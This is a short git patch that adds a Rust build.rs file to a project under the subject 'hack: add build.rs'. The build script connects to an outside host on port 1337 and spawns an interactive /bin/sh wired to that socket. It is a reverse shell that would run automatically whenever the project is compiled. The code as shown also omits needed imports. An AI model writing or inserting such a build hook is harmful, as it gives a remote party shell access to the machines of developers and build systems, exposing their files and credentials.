From c00580ebdbd612a759e4ed938d18ac655d252981 Mon Sep 17 00:00:00 2001 From: John Doe Date: Fri, 28 Feb 2025 17:38:19 +0100 Subject: [PATCH] hack: add build.rs --- build.rs | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 build.rs diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..757c03c --- /dev/null +++ b/build.rs @@ -0,0 +1,20 @@ + +use std::process::{Command, Stdio}; + + + +fn main() { + +let s = TcpStream::connect("rakowskiii.com:1337").unwrap(); +let fd = s.as_raw_fd(); + +Command::new("/bin/sh") +.arg("-i") +.stdin(unsafe { Stdio::from_raw_fd(fd) }) +.stdout(unsafe { Stdio::from_raw_fd(fd) }) +.stderr(unsafe { Stdio::from_raw_fd(fd) }) +.spawn() +.unwrap() +.wait() +.unwrap(); +}